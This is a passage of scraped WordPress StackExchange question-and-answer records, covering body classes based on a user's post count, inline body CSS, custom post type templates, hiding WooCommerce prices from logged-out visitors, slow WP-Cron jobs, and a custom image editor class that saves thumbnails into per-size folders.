'post__not_in' => lsmWpfilter($exluded_posts),
);
```
This method allows me to use different in/count for each excluded posts, not limiting it to 1/5 and also making use of funcitons |
255,375 | <p>Is it possible to add a number to the body class according to how many custom posts a current user has published, e.g. CUSTOMPOST-4</p>
| [
{
"answer_id": 255378,
"author": "Aniruddha Gawade",
"author_id": 101818,
"author_profile": "https://wordpress.stackexchange.com/users/101818",
"pm_score": 2,
"selected": false,
"text": "<p>You can use <code>count_user_posts</code></p>\n\n<p>See:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/count_user_posts/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/count_user_posts/</a></p>\n\n<p>Edit:</p>\n\n<pre><code><?php\n if (is_user_logged_in()) {\n $count_class = 'CUSTOMPOST-'.count_user_posts(get_current_user_id());\n }\n?>\n<body <?php body_class($count_class); ?>> \n</code></pre>\n\n<p>Something like this in your <code>header</code></p>\n"
},
{
"answer_id": 258093,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 2,
"selected": true,
"text": "<p>add to functions.php</p>\n\n<pre><code>function wpc_body_class_section($classes) { \n if (is_user_logged_in()) { \n $classes[] = 'CUSTOMPOST-'.count_user_posts(get_current_user_id());\n } \n\n return $classes; \n} \nadd_filter('body_class','wpc_body_class_section'); \n</code></pre>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255375",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37346/"
]
| Is it possible to add a number to the body class according to how many custom posts a current user has published, e.g. CUSTOMPOST-4 | add to functions.php
```
function wpc_body_class_section($classes) {
if (is_user_logged_in()) {
$classes[] = 'CUSTOMPOST-'.count_user_posts(get_current_user_id());
}
return $classes;
}
add_filter('body_class','wpc_body_class_section');
``` |
255,405 | <p>I am trying to inject a inline style css to my body element via the functions.php file.
It needs to be inline, because I am using a ACF to let the user change the image.</p>
<p>This should be the result:</p>
<pre><code><body style="background-image: url('<?php the_field('background'); ?>');">
</code></pre>
<p>I read about the <a href="https://codex.wordpress.org/Function_Reference/wp_add_inline_style" rel="noreferrer">wp add inline style</a>, but i couldn't figure it out.</p>
<p>Update:
Here is the function I tried:</p>
<pre><code>function wpdocs_styles_method() {
wp_enqueue_style('custom-style', get_stylesheet_directory_uri() . '/body.css'
);
$img = get_theme_mod( "<?php the_field('background') ?>" );
$custom_css = "body {background-image: {$img}";
wp_add_inline_style( 'custom-style', $custom_css );
}
add_action( 'wp_enqueue_scripts', 'wpdocs_styles_method' );
</code></pre>
<p>I did load a body.css to tried to add the inline css. But it didn't work - maybe this isn't the right approach at all?</p>
| [
{
"answer_id": 255415,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 2,
"selected": false,
"text": "<p>Inline styles are styles that are written directly in the tag on the document & this is what you are looking for. </p>\n\n<p>But, <code>wp_add_inline_style</code> will add an extra piece of CSS into the <code><head></code> section of the document (embedded style), not to the HTML style tag.</p>\n\n<p>So, if you want to place your CSS value directly into HTML markup via a style tag, then <code>wp_add_inline_style</code> will not do that for you. You should either pass the value of <code>get_field</code> to an HTML style tag in your template files, or consider using JavaScript.</p>\n\n<pre><code><div style=\"<?php the_field( 'some-field' ) ?>\">\n\n</div>\n</code></pre>\n"
},
{
"answer_id": 255439,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": false,
"text": "<blockquote>\n <p>maybe this isn't the right approach at all?</p>\n</blockquote>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_add_inline_style/\" rel=\"nofollow noreferrer\">wp_add_inline_style</a> add extra CSS styles to a registered stylesheet. This function will not add an inline html style to the body tag. </p>\n\n<p>However, I <em>do</em> think this is the correct approach to the problem. You're basically doing it right, but you need to add both inline css and another class to the body so that the css actually does something.</p>\n\n<pre><code>/**\n * Conditionally add body class and inline css to body\n */\n\n//* Add action to wp_loaded to initialize the plugin\nadd_action( 'wp_loaded', 'wpse_106269_wp_loaded' );\nfunction wpse_106269_wp_loaded() {\n add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts' );\n\n //* Conditionally add hooks\n if( '' !== get_theme_mod( 'my-mod', '' ) ) {\n add_filter( 'body_class', 'wpse_106269_body_class' );\n add_action( 'wp_enqueue_scripts', 'wpse_106269_add_inline_style' );\n }\n}\n\n//* Make sure we load the custom css.\nfunction wpse_106269_enqueue_scripts() {\n wp_enqueue_style( 'custom-style', '/style.css' );\n}\n\n//* Add another class to the body tag. \nfunction wpse_106269_body_class( $classes ) {\n $classes[] = 'custom-background-image';\n return $classes;\n}\n\n//* Add background-image inline\nfunction wpse_106269_add_inline_style() {\n $background_url = esc_url( get_theme_mod( 'my-mod', '' ) );\n $custom_css = \".custom-background-image { background-image:URL( $background_url ); }\";\n wp_add_inline_style( 'custom-style', $custom_css );\n}\n</code></pre>\n"
},
{
"answer_id": 263897,
"author": "vhs",
"author_id": 117731,
"author_profile": "https://wordpress.stackexchange.com/users/117731",
"pm_score": 3,
"selected": false,
"text": "<p>The easiest way I've seen is to <code>echo</code> it where you need it:</p>\n<pre class=\"lang-php prettyprint-override\"><code>function inline_css() {\n echo "<style>html{background-color:#001337}</style>";\n}\nadd_action( 'wp_head', 'inline_css', 0 );\n</code></pre>\n<p>Since 2019 you can also add styles inline inside the <code>body</code>, shown here without using <code>echo</code>:</p>\n<pre><code>function example_body_open () { ?>\n <style>\n html {\n background-color: #B4D455;\n }\n </style>\n<?php }\nadd_action( 'wp_body_open', 'example_body_open' );\n</code></pre>\n<p>The benefit here is you get better syntax highlighting and do not need to escape double-quotes. Note this particular hook will only work with themes implementing <a href=\"https://make.wordpress.org/themes/2019/03/29/addition-of-new-wp_body_open-hook/\" rel=\"nofollow noreferrer\"><code>wp_body_open</code> hook</a>.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255405",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94376/"
]
| I am trying to inject a inline style css to my body element via the functions.php file.
It needs to be inline, because I am using a ACF to let the user change the image.
This should be the result:
```
<body style="background-image: url('<?php the_field('background'); ?>');">
```
I read about the [wp add inline style](https://codex.wordpress.org/Function_Reference/wp_add_inline_style), but i couldn't figure it out.
Update:
Here is the function I tried:
```
function wpdocs_styles_method() {
wp_enqueue_style('custom-style', get_stylesheet_directory_uri() . '/body.css'
);
$img = get_theme_mod( "<?php the_field('background') ?>" );
$custom_css = "body {background-image: {$img}";
wp_add_inline_style( 'custom-style', $custom_css );
}
add_action( 'wp_enqueue_scripts', 'wpdocs_styles_method' );
```
I did load a body.css to tried to add the inline css. But it didn't work - maybe this isn't the right approach at all? | The easiest way I've seen is to `echo` it where you need it:
```php
function inline_css() {
echo "<style>html{background-color:#001337}</style>";
}
add_action( 'wp_head', 'inline_css', 0 );
```
Since 2019 you can also add styles inline inside the `body`, shown here without using `echo`:
```
function example_body_open () { ?>
<style>
html {
background-color: #B4D455;
}
</style>
<?php }
add_action( 'wp_body_open', 'example_body_open' );
```
The benefit here is you get better syntax highlighting and do not need to escape double-quotes. Note this particular hook will only work with themes implementing [`wp_body_open` hook](https://make.wordpress.org/themes/2019/03/29/addition-of-new-wp_body_open-hook/). |
255,406 | <p>I registered a new post type called "events". The posts of this type do show up in the loop but i can't access the single-events.php when i click on a "event" post. Also I can't access the categories of this post type. </p>
<p>The only advice you read on the internet - to flush the rewrite rules - didn't work me. </p>
<p>Any other suggestions? </p>
<p>Here is my registration code for this post type:</p>
<pre><code>add_action ('init', 'register_events_posttype');
function register_events_posttype(){
$labels = array();
$args = array(
'label' => 'Events',
'labels' => $labels,
'show_in_menu' => true,
'show_ui' => true,
'show_in_nav_menus' => true,
'show_in_rest' => true,
'menu_position' => 2,
'menu_icon' => 'dashicons-calendar-alt',
'supports' => array('title','editor','thumbnail', 'excerpt', 'custom-fields', 'comments','revisions', 'archives',),
'taxonomies' => array('category', 'post_tag'),
'rewrite' => array('slug' => 'events','with_front' => false)
);
register_post_type('event', $args);
}
</code></pre>
| [
{
"answer_id": 255409,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 1,
"selected": false,
"text": "<p>You've registered the post type <code>event</code>, not <code>events</code>. So you should be able to use <code>single-event.php</code>. (Or, alternately, change your last line to <code>register_post_type( 'events', $args );</code>.</p>\n\n<p>Docs: <a href=\"https://developer.wordpress.org/reference/functions/register_post_type/\" rel=\"nofollow noreferrer\"><code>register_post_type()</code></a></p>\n"
},
{
"answer_id": 255410,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 2,
"selected": false,
"text": "<p>according to your code, your cpt is \"event\". You will either need to change the your php to single-event.php or change this line:</p>\n\n<pre><code>register_post_type('event', $args);\n</code></pre>\n\n<p>to</p>\n\n<pre><code>register_post_type('events', $args); \n</code></pre>\n\n<p>Usually they are the plural so the 2nd option is a better choice. With that being said, I always recommend adding namespace to avoid conflicts. Especially in this case because many people have event CPTs. </p>\n\n<p>Try \"shc-events\" or something like that to make it your own.</p>\n"
},
{
"answer_id": 255454,
"author": "FullStack Alex",
"author_id": 80177,
"author_profile": "https://wordpress.stackexchange.com/users/80177",
"pm_score": 1,
"selected": true,
"text": "<p>Hmm. After spending hours on research and trying out some suggested solutions I found out I just needed to add this arguments to the arguments array and only then to flush the permalinks (= switching to the default permalink structure and back to custom post name structure in the dashboard settings):</p>\n\n<pre><code>'public' => true,\n'has_archive' => true,\n</code></pre>\n\n<p>It had nothing to do with the singular parameter ('event') in register_post_type. I changed it back like it was (singular 'event') because i like to have it singular for the database requests. The post type name for posts inside the database is singular as well ('post'). </p>\n\n<p>But for the WP REST API route I set the rest_base to plural:</p>\n\n<pre><code>'rest_base' => 'events',\n</code></pre>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255406",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80177/"
]
| I registered a new post type called "events". The posts of this type do show up in the loop but i can't access the single-events.php when i click on a "event" post. Also I can't access the categories of this post type.
The only advice you read on the internet - to flush the rewrite rules - didn't work me.
Any other suggestions?
Here is my registration code for this post type:
```
add_action ('init', 'register_events_posttype');
function register_events_posttype(){
$labels = array();
$args = array(
'label' => 'Events',
'labels' => $labels,
'show_in_menu' => true,
'show_ui' => true,
'show_in_nav_menus' => true,
'show_in_rest' => true,
'menu_position' => 2,
'menu_icon' => 'dashicons-calendar-alt',
'supports' => array('title','editor','thumbnail', 'excerpt', 'custom-fields', 'comments','revisions', 'archives',),
'taxonomies' => array('category', 'post_tag'),
'rewrite' => array('slug' => 'events','with_front' => false)
);
register_post_type('event', $args);
}
``` | Hmm. After spending hours on research and trying out some suggested solutions I found out I just needed to add this arguments to the arguments array and only then to flush the permalinks (= switching to the default permalink structure and back to custom post name structure in the dashboard settings):
```
'public' => true,
'has_archive' => true,
```
It had nothing to do with the singular parameter ('event') in register\_post\_type. I changed it back like it was (singular 'event') because i like to have it singular for the database requests. The post type name for posts inside the database is singular as well ('post').
But for the WP REST API route I set the rest\_base to plural:
```
'rest_base' => 'events',
``` |
255,438 | <p>I have some code that is <strong>blocking the price from being shown on all products, if the user is not logged in</strong>.. this is what I want.</p>
<p>My issue is that I have <strong>1 product that is free, and I need the price to show if the user is not logged in</strong>. only on this single product...</p>
<p>Can someone help me target that single product by id and show price the user is not logged in...</p>
<p>here is my original php snippet in funcions.php which blocks the price from being shown when a user is not logged in</p>
<pre><code>// Hide prices on public woocommerce (not logged in)
add_action('after_setup_theme','activate_filter') ;
function activate_filter(){
add_filter('woocommerce_get_price_html', 'show_price_logged');
}
function show_price_logged($price){
if(is_user_logged_in()){
return $price;
}
else
{
remove_action( 'woocommerce_after_shop_loop_item',
'woocommerce_template_loop_add_to_cart' );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_price', 10 );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_add_to_cart', 30 );
remove_action( 'woocommerce_after_shop_loop_item_title',
'woocommerce_template_loop_price', 10 );
return '<a href="' . get_permalink(woocommerce_get_page_id('myaccount')) .
'">Call for pricing</a>';
}
}
</code></pre>
| [
{
"answer_id": 255441,
"author": "fakemeta",
"author_id": 94429,
"author_profile": "https://wordpress.stackexchange.com/users/94429",
"pm_score": 1,
"selected": false,
"text": "<p>If you know the id, you can simply check current product id in your <code>woocommerce_get_price_html</code> action:</p>\n\n<pre><code>add_action('after_setup_theme','activate_filter') ; \nfunction activate_filter() {\n add_filter('woocommerce_get_price_html', 'show_price_logged');\n}\n\nfunction show_price_logged($price) {\n global $product; // get current product\n\n if(is_user_logged_in() || $product->id === 8) { // check product id\n return $price;\n } else {\n remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );\n remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_price', 10 );\n remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );\n remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_price', 10 );\n\n return '<a href=\"' . get_permalink(woocommerce_get_page_id('myaccount')) . '\">Call for pricing</a>';\n }\n}\n</code></pre>\n\n<p>But if you need more flexibility you could check product custom field. For example, you could set <code>is_free</code> custom field to <code>true</code> or any other value of your choice on product edit page and check it's value like this:</p>\n\n<pre><code>...\nglobal $product;\n$is_free_product = get_post_meta($product->id, 'is_free', true);\n\nif(is_user_logged_in() || $is_free_product) {\n return $price;\n} else {\n...\n</code></pre>\n"
},
{
"answer_id": 255545,
"author": "MasterFuel",
"author_id": 96845,
"author_profile": "https://wordpress.stackexchange.com/users/96845",
"pm_score": 0,
"selected": false,
"text": "<p>Added $product to the function, and also added a variable with the product ID</p>\n\n<pre><code>add_action('after_setup_theme','activate_filter') ; \nfunction activate_filter(){\nadd_filter( 'woocommerce_get_price_html', 'show_price_if_logged_in', 100, 2\n); }\n\n\nfunction show_price_if_logged_in( $price, **$product** ){\n// Define here your free product ID (here for example ID is 121)\n**$free_product_id = 121;**\n\n// Shows the price if customer is logged in or if product is your free product\nif( is_user_logged_in() || **$free_product_id == $product->id** )\n{\n return $price;\n}\nelse\n{\n remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );\n remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_price', 10 );\n remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );\n remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_price', 10 );\n\n return '<a href=\"' . get_permalink(woocommerce_get_page_id('myaccount')) . '\">Call for pricing</a>';\n}\n\n}\n</code></pre>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255438",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/96845/"
]
| I have some code that is **blocking the price from being shown on all products, if the user is not logged in**.. this is what I want.
My issue is that I have **1 product that is free, and I need the price to show if the user is not logged in**. only on this single product...
Can someone help me target that single product by id and show price the user is not logged in...
here is my original php snippet in funcions.php which blocks the price from being shown when a user is not logged in
```
// Hide prices on public woocommerce (not logged in)
add_action('after_setup_theme','activate_filter') ;
function activate_filter(){
add_filter('woocommerce_get_price_html', 'show_price_logged');
}
function show_price_logged($price){
if(is_user_logged_in()){
return $price;
}
else
{
remove_action( 'woocommerce_after_shop_loop_item',
'woocommerce_template_loop_add_to_cart' );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_price', 10 );
remove_action( 'woocommerce_single_product_summary',
'woocommerce_template_single_add_to_cart', 30 );
remove_action( 'woocommerce_after_shop_loop_item_title',
'woocommerce_template_loop_price', 10 );
return '<a href="' . get_permalink(woocommerce_get_page_id('myaccount')) .
'">Call for pricing</a>';
}
}
``` | If you know the id, you can simply check current product id in your `woocommerce_get_price_html` action:
```
add_action('after_setup_theme','activate_filter') ;
function activate_filter() {
add_filter('woocommerce_get_price_html', 'show_price_logged');
}
function show_price_logged($price) {
global $product; // get current product
if(is_user_logged_in() || $product->id === 8) { // check product id
return $price;
} else {
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart' );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_price', 10 );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );
remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_price', 10 );
return '<a href="' . get_permalink(woocommerce_get_page_id('myaccount')) . '">Call for pricing</a>';
}
}
```
But if you need more flexibility you could check product custom field. For example, you could set `is_free` custom field to `true` or any other value of your choice on product edit page and check it's value like this:
```
...
global $product;
$is_free_product = get_post_meta($product->id, 'is_free', true);
if(is_user_logged_in() || $is_free_product) {
return $price;
} else {
...
``` |
255,450 | <p>Cron-jobs are incredibly slow in my website.</p>
<p>I created this small script, outside of the Wordpress environment, just to test the response time of WP Cron:</p>
<pre><code><?php
//Method which does a basic curl get request
function get_data($url) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
//getinfo gets the data for the request
$info = curl_getinfo($ch);
//output the data to get more information.
print_r($info);
curl_close($ch);
return $data;
}
get_data('http://www.example.com?wp-cron.php?doing_wp_cron=1486419273');
</code></pre>
<p>These are the results:</p>
<pre><code>Array
(
[url] => http://www.example.com/?wp-cron.php?doing_wp_cron=1486419273
[content_type] =>
[http_code] => 0
[header_size] => 0
[request_size] => 0
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 42.822546 // Important
[namelookup_time] => 0
[connect_time] => 0
[pretransfer_time] => 0
[size_upload] => 0
[size_download] => 0
[speed_download] => 0
[speed_upload] => 0
[download_content_length] => -1
[upload_content_length] => -1
[starttransfer_time] => 0
[redirect_time] => 0
[certinfo] => Array
(
)
[primary_ip] =>
[primary_port] => 0
[local_ip] =>
[local_port] => 0
[redirect_url] =>
)
</code></pre>
<p>As you can see it has an incredible load time of almost 43 seconds.</p>
<p>These are my Crons as reported by Crontol plugin:</p>
<p><a href="https://i.stack.imgur.com/bsi91.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bsi91.jpg" alt="list of wordpress crons" /></a></p>
<p>The biggest problem I see here is that the "Next run" is not updating, meaning every cron runs every time... That's probably what's making it so slow, isn't it?</p>
<p>How to make the "Next run" actually changes according to the cron's "Recurrence"?</p>
| [
{
"answer_id": 255466,
"author": "Lucas Bustamante",
"author_id": 27278,
"author_profile": "https://wordpress.stackexchange.com/users/27278",
"pm_score": 0,
"selected": false,
"text": "<p>Well, I did it with manual crons.</p>\n\n<p>I use NGINX + PHP-FPM, which makes it harder to do manual cron tasks. So I had to go with wget to achieve it.</p>\n\n<p>If you use PHP-FPM and need to trigger Wordpress's cronjobs via crontab, do:</p>\n\n<ol>\n<li>Login to SSH with root.</li>\n<li>Run <strong>crontab -e</strong></li>\n<li>Add <strong>*/30 * * * * /usr/bin/wget -q -O /tmp/temp_crons.txt <a href=\"http://example.com/wp-cron.php?doing_wp_cron\" rel=\"nofollow noreferrer\">http://example.com/wp-cron.php?doing_wp_cron</a></strong></li>\n</ol>\n\n<p>Where 30 is 30 minutes. It saves the cron results to temp_crons.txt</p>\n\n<p>Well, it's working:</p>\n\n<p><a href=\"https://i.stack.imgur.com/7U7LL.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7U7LL.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>If you use Apache, just do a regular cron with <strong>/usr/bin/php</strong></p>\n"
},
{
"answer_id": 388251,
"author": "Edward",
"author_id": 206327,
"author_profile": "https://wordpress.stackexchange.com/users/206327",
"pm_score": 1,
"selected": false,
"text": "<p>You can use <a href=\"https://wp-cli.org/\" rel=\"nofollow noreferrer\">wp-cli</a> to execute schedules without the detour via http request. Add in <code>crontab -e</code>.</p>\n<pre><code>*/30 * * * * wp cron event run --path=/path/to/wp-docroot\n</code></pre>\n<p>By this you wont run into maximum execution time problems which could be the reason why you schedule execution got stuck.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255450",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27278/"
]
| Cron-jobs are incredibly slow in my website.
I created this small script, outside of the Wordpress environment, just to test the response time of WP Cron:
```
<?php
//Method which does a basic curl get request
function get_data($url) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
//getinfo gets the data for the request
$info = curl_getinfo($ch);
//output the data to get more information.
print_r($info);
curl_close($ch);
return $data;
}
get_data('http://www.example.com?wp-cron.php?doing_wp_cron=1486419273');
```
These are the results:
```
Array
(
[url] => http://www.example.com/?wp-cron.php?doing_wp_cron=1486419273
[content_type] =>
[http_code] => 0
[header_size] => 0
[request_size] => 0
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 42.822546 // Important
[namelookup_time] => 0
[connect_time] => 0
[pretransfer_time] => 0
[size_upload] => 0
[size_download] => 0
[speed_download] => 0
[speed_upload] => 0
[download_content_length] => -1
[upload_content_length] => -1
[starttransfer_time] => 0
[redirect_time] => 0
[certinfo] => Array
(
)
[primary_ip] =>
[primary_port] => 0
[local_ip] =>
[local_port] => 0
[redirect_url] =>
)
```
As you can see it has an incredible load time of almost 43 seconds.
These are my Crons as reported by Crontol plugin:
[](https://i.stack.imgur.com/bsi91.jpg)
The biggest problem I see here is that the "Next run" is not updating, meaning every cron runs every time... That's probably what's making it so slow, isn't it?
How to make the "Next run" actually changes according to the cron's "Recurrence"? | You can use [wp-cli](https://wp-cli.org/) to execute schedules without the detour via http request. Add in `crontab -e`.
```
*/30 * * * * wp cron event run --path=/path/to/wp-docroot
```
By this you wont run into maximum execution time problems which could be the reason why you schedule execution got stuck. |
255,462 | <p>I’ve been writing some class and functions to modify the path of thumbnails. I extended the original <code>WP_Image_Editor</code> class to achieve custom structure.</p>
<p><strong>What i want:</strong> to store the thumbnails in different folders based on their slugs, in the upload directory. such as : <code>http://example.com/uploads/medium/image.jpg</code></p>
<p><strong>What i have already done:</strong></p>
<pre><code>class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
</code></pre>
<p>When i upload the image, the thumbnails are created properly, however the filenames are not. The <code>$slug</code> value is not passed from <code>multi_resize()</code> to generate_filename.</p>
<p>I tried to write the <code>multi_resize()</code> function as below:</p>
<pre><code>class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
</code></pre>
<p>Now the <code>$slug</code> is passed to <code>generate_filename()</code> but the thumbnails are all generated in uploads folder, overwriting each other. How can i do this?</p>
<p>I'm clueless here, any help is appreciated.</p>
| [
{
"answer_id": 255941,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<p>A code sample explaining its use case will be more helpful.\nNot sure how you're going to use it, but to simply access all the slugs inside $sizes you can use this.<br></p>\n<p>The multi_resize() gets its 'sizes' as a parameter, which is provided to it by wp_generate_attachment_metadata() <a href=\"https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135\" rel=\"nofollow noreferrer\">here</a>. A simple approach to get the sizes array will be to store it in a class property. Such as</p>\n<p>Add this before all functions.</p>\n<pre><code>public $current_size_slug = '';\n</code></pre>\n<p>This is generate_filename() function with necessary modifications and comments to help you understand how it works:</p>\n<pre><code>public function generate_filename( $prefix = null, $dest_path = null, $extension = null ) {\n// <-- Now we have the current thumbnail slug.-->\n$slug = $this->current_size_slug;\n// If empty, generate a prefix with the parent method get_suffix().\nif ( ! $prefix ) {\n $prefix = $this->get_suffix();\n}\n\n// Determine extension and directory based on file path.\n$info = pathinfo( $this->file );\n$dir = $info['dirname'];\n$ext = $info['extension'];\n\n// Determine image name.\n$name = wp_basename( $this->file, ".$ext" );\n\n// Allow extension to be changed via method argument.\n$new_ext = strtolower( $extension ? $extension : $ext );\n\n// Default to $_dest_path if method argument is not set or invalid.\nif ( ! is_null( $dest_path ) && $_dest_path = realpath( $dest_path ) ) {\n $dir = $_dest_path;\n}\n\n// Return our new prefixed filename.\n// <-- Replaced prefix with slug. -->\nreturn trailingslashit( $dir ) . "{$slug}/{$name}.{$new_ext}"; \n\n}\n</code></pre>\n<p>This multi_resize() function which actually sets the $current_size_slug before calling _save()</p>\n<pre><code>function multi_resize( $sizes ) {\n$metadata = array();\n$orig_size = $this->size;\n\nforeach ( $sizes as $size => $size_data ) {\n if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {\n continue;\n }\n\n if ( ! isset( $size_data['width'] ) ) {\n $size_data['width'] = null;\n }\n if ( ! isset( $size_data['height'] ) ) {\n $size_data['height'] = null;\n }\n\n if ( ! isset( $size_data['crop'] ) ) {\n $size_data['crop'] = false;\n }\n\n $image = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] );\n $duplicate = ( ( $orig_size['width'] == $size_data['width'] ) && ( $orig_size['height'] == $size_data['height'] ) );\n\n if ( ! is_wp_error( $image ) && ! $duplicate ) {\n // We set the current slug before calling the save function.\n $this->current_size_slug = $size;\n\n $resized = $this->_save( $image );\n\n imagedestroy( $image );\n\n if ( ! is_wp_error( $resized ) && $resized ) {\n unset( $resized['path'] );\n $metadata[ $size ] = $resized;\n }\n }\n\n $this->size = $orig_size;\n}\n\nreturn $metadata;\n}\n</code></pre>\n<p>The _save() function actually saves the file on the server, to do so it calls the generate_filename(). I hope this answers your question.\n<br><em>Please consider hiring a developer for custom jobs like these if you're not comfortable with PHP and WordPress</em><br>\nDo <strong>Not</strong> Copy and Paste code unless you know what you're doing.</p>\n"
},
{
"answer_id": 256498,
"author": "David Lee",
"author_id": 111965,
"author_profile": "https://wordpress.stackexchange.com/users/111965",
"pm_score": 3,
"selected": true,
"text": "<p>Try adding this to functions.php:</p>\n\n<pre><code>add_filter(\"wp_image_editors\", \"my_wp_image_editors\");\n\nfunction my_wp_image_editors($editors) {\n array_unshift($editors, \"WP_Image_Editor_Custom\");\n return $editors;\n}\n\n// Include the existing classes first in order to extend them.\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor.php\";\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor-gd.php\";\n\nclass WP_Image_Editor_Custom extends WP_Image_Editor_GD {\n\n public function generate_filename($suffix = null, $dest_path = null, $extension = null) {\n // $suffix will be appended to the destination filename, just before the extension\n if (!$suffix) {\n $suffix = $this->get_suffix();\n }\n\n $dir = pathinfo($this->file, PATHINFO_DIRNAME);\n $ext = pathinfo($this->file, PATHINFO_EXTENSION);\n\n $name = wp_basename($this->file, \".$ext\");\n $new_ext = strtolower($extension ? $extension : $ext );\n\n if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {\n $dir = $_dest_path;\n }\n //we get the dimensions using explode, we could have used the properties of $this->file[height] but the suffix could have been provided\n $size_from_suffix = explode(\"x\", $suffix);\n //we get the slug_name for this dimension\n $slug_name = $this->get_slug_by_size($size_from_suffix[0], $size_from_suffix[1]);\n\n return trailingslashit($dir) . \"{$slug_name}/{$name}.{$new_ext}\";\n }\n\n function multi_resize($sizes) {\n $sizes = parent::multi_resize($sizes);\n\n //we add the slug to the file path\n foreach ($sizes as $slug => $data) {\n $sizes[$slug]['file'] = $slug . \"/\" . $data['file'];\n }\n\n return $sizes;\n }\n\n function get_slug_by_size($width, $height) {\n\n // Make thumbnails and other intermediate sizes.\n $_wp_additional_image_sizes = wp_get_additional_image_sizes();\n\n 